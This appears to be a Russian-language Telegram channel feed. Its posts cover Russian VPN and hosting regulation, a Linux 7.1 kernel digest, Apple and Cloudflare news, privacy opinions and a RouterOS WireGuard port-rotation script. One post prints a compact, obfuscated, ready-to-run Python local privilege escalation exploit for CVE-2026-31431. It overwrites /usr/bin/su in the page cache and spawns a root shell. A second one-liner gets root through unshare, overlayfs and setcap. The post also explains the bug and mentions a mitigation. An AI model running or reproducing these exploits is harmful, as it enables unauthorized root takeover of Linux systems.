РКН: На ТСПУ выкатили обновление, новые правила DPI, баны подсетей…

ИБшники России, осознавая что это новый раунд поиска обходок:

Всего 200k$?! За это?!

http://telegram.org/crypto_contest

Дуров, отвали денег нормально, это буквально то, на чем держится телега!

Хостинг-провайдерам могут запретить сдавать сервера владельцам VPN (с) Коммерсант

Поправки ко второму чтению «Антифрод 2.0» предлагают запретить хостерам предоставлять вычислительные мощности тем, кто обеспечивает доступ к информации, заблокированной в РФ. По факту - под нож попадают почти все VPN-сервисы, которые не в белом списке.

Хостеры перестанут быть «просто трубой» и превратятся в контролёров: теперь им самим придётся рыть, кому они сдают железо, и отказывать «неправильным» клиентам. Санкций в тексте пока нет, но тенденция ясна.

А дальше по классике:
- Введут белые списки «разрешённых» VPN (корпоративные и «лояльные» выживут).
- Остальные уйдут в серую зону + рост виртуальных карт, обналов и «ухода бабла налево».
- Следом - новая волна криминализации крипты (уже и так обещают уголовку за нелегальный обмен).

В итоге держать свою инфраструктуру (дедик/свой стек, VPS вообще не рассматриваем по понятным причинам) станет:
A. дорого - комиссии, проверки, риски блокировок аккаунтов;
Б. сложно - постоянный гемор с легальностью и обходами.

Короче, очередной виток «суверенизации». Кто уже поднимает свой VPN на дедиках, арендует место (да, не дешево, ну а что вы хотели) или выводит свое железо за бугор - молодцы. Остальным будет веселее. Кратно веселее.

Готовы к новым танцам с бубном или как обычно «пока не прижмёт - пох»? Больно что уже 99% с гита нормально не скачать, скорость буквально метр.

Дайджест Linux 7.1 - что уже влили?

Ядро 7.1 только начало собираться, а изменений уже вагон:

1. NTFS resurrection - полный новый in-kernel драйвер NTFS (переписан от автора exFAT). Полноценный read/write, folio, iomap, нормальная скорость. Линус назвал это «воскрешением NTFS». Dual-boot'еры и те, кто таскает внешние виндовые диски, наконец-то вздохнут спокойно - без ntfs-3g и гемора. (Реально наконец-то)

2. Вычищают поддержку Байкал - начинают удалять драйверы и bindings для российских процессоров Baikal (ATA, bt1-ahci и прочее). Компания схлопнулась, upstream мёртвый, железо в дикой природе почти не найти - код просто убирают, чтобы не висел грузом.

3. Дропают поддержку i486 - впервые с 2012 года убирают конфиги M486, M486SX и MELAN. Старое железо 90-х официально отправляют на пенсию. F.

4. Блок и IO_uring - shared memory zero-copy для ublk (user-space block driver), RAID фиксы, улучшения в NVMe.

5. Scheduler и crypto - мелкие, но приятные оптимизации под современные workloads + больше оптимизаций по умолчанию в крипто.

6. Другие вкусняшки - новые AMD SMCA bank types (для будущих EPYC), улучшения FRED для Intel Panther Lake, Btrfs encoded I/O и быстрее fsync, FSCRYPT с direct I/O для зашифрованных файлов и т.д.

Короче, ждем в проде.

Тим Кук ушел.

Джон Тернус с 1 сентября 2026 года станет новым генеральным директором Apple.

Тим Кук займет должность исполнительного председателя совета директоров, передает CNBC.

Все что могу прокомментировать с учетом новостей последней недели…

Мы живем в таймлайне где Дуров постит музыкальный нейрослоп. На этом все.

Сегодня ровно год, как глава Минцифры Максут Шадаев заявил, что в России не планируют запрещать мессенджеры и интернет.

И ОН СНОВА ЭТО СДЕЛАЛ.

upd: ДВАЖДЫ.

CVE-2026-31431
Copy Fail: 732 байта до рута.
Буквально повышение прав на любой Linux тачке ядром свежее 2017 года (4.14).

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Если коротко, то это логическая ошибка в ядре Linux, накапливавшаяся годами и позволяющая непривилегированному пользователю перезаписать 4 байта в кэше страниц (page cache) любого читаемого файла. Уязвимость проявляется на стыке трёх компонентов:
1. AF_ALG: Механизм ядра, позволяющий пользовательским программам без специальных прав обращаться к криптографическим функциям напрямую.
2. splice(): Системный вызов для высокопроизводительного копирования данных между файловыми дескрипторами. В нашем случае он передаёт страницы кэша файла /usr/bin/su в AF_ALG без их копирования.
3. authencesn: Криптографический алгоритм, который по ошибке записывает промежуточные данные за пределы выделенного ему буфера, прямо в переданные страницы кэша файла.

Ситуация действительно серьёзная - уязвимость затрагивает ядра Linux, начиная с версии 4.14 (выпущена в конце 2017 года).

Из выходов вижу пока как то выпиливать или блеклистить algif_aead, что бы userspace не общался с ядром напрямую в этой операции.

Почитать поподробнее можно тут: copy.fail
P.S. в некоторых системах /usr/bin/su нет, а вот /bin/su есть.


Бонусом для до 17 года:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"

Немного про Cloudflare, Telega и MAX.
Многие думают, что Cloudflare сам сидит и реверсит каждый мессенджер.
На деле — нет.

У них вся система завязана на abuse-репортах (форма abuse.cloudflare.com). Любой может закидать жалобу с "доказательствами": ссылки на (зачастую) статический реверс, Wireshark-дампы и т.д. Когда таких репортов наваливает куча (а по MAX их было не мало от "исследователей") - флаг «spyware/malware» прилетает почти автоматически.

Сам Cloudflare не занимается глубоким реверсом приложений. Они просто реагируют на сигналы от комьюнити.

Метку иногда снимают после обращения разработчиков, но последствия (отзыв сертификата, проблемы в App Store) часто остаются.

В текущий момент я вижу это как политический инструмент на фоне новостей про Twitch в том числе.



ИМХО:
Опыт реверса мессенджеров (в том числе и закрытых коммерческих) всегда тебе говорит о том, что используя любой мессенджер - ты зачастую соглашаешься с тем, что ты доверяешь людям, которые держат сервера.

Signal, Telegram, VK - да что угодно имеет огромное количество мета-информации, которой зачастую достаточно что бы Вас закрыть. От мысли что Вас пасут - легко не становится, Вы буквально сидите сейчас читаете этот пост с канала связи, который оформлен на Ваши паспортные данные. В любой стране мира. Все устройства имеют аппаратные идентификаторы, которые Вы ни раз уже спалили биг-теху и специфическим службам.

Большинство людей парится об анонимности, а не о приватности, не понимая разницу между ними.

Дропну для RouterOS 7+ скрипт для динамической смены портов на WireGuard интерфейсе клиента. Может кому то такой простой скрипт сэкономит время

Открываем консоль:

/system script add name=wg-rotate-port source={
    :local iface "ТУТ ИМЯ ВАШЕГО ИНТЕРФЕЙСА"
    :local minPort 30000
    :local maxPort 50000

    # Псевдо-рандом на основе времени + uptime
    :local timeNow [/system clock get time]
    :local sec [:tonum [:pick $timeNow 6 8]]
    :local up [/system resource get uptime]
    :local upSec [:tonum [:pick $up ([:len $up]-2) [:len $up]]]

    :local rand ( ($sec * $upSec + [:tonum [:pick [/system identity get name] 0 3]]) % ($maxPort - $minPort + 1) )
    :local newPort ($minPort + $rand)

    :log info ("WG rotate: changed listen-port to " . $newPort . " (seed: " . $sec . "/" . $upSec . ")")

    /interface wireguard set [find name=$iface] listen-port=$newPort

    # Обновляем firewall (ищем по comment, можете блок ниже убрать, если не используете)
    :local fwRule [/ip firewall filter find comment~"КОММЕНТ ПРАВИЛА ИНТЕРФЕЙСА"]
    :if ([:len $fwRule] > 0) do={
        /ip firewall filter set $fwRule dst-port=$newPort
    } else={
        :log warning "WG rotate: firewall rule с comment not found!"
    }
}

Затем добавим смену порта скриптом каждые 3 часа:

/system scheduler add name=wg-port interval=3h on-event=wg-rotate-port start-time=00:00:00

Ну и проверьте что все ок:

/system script run wg-rotate-port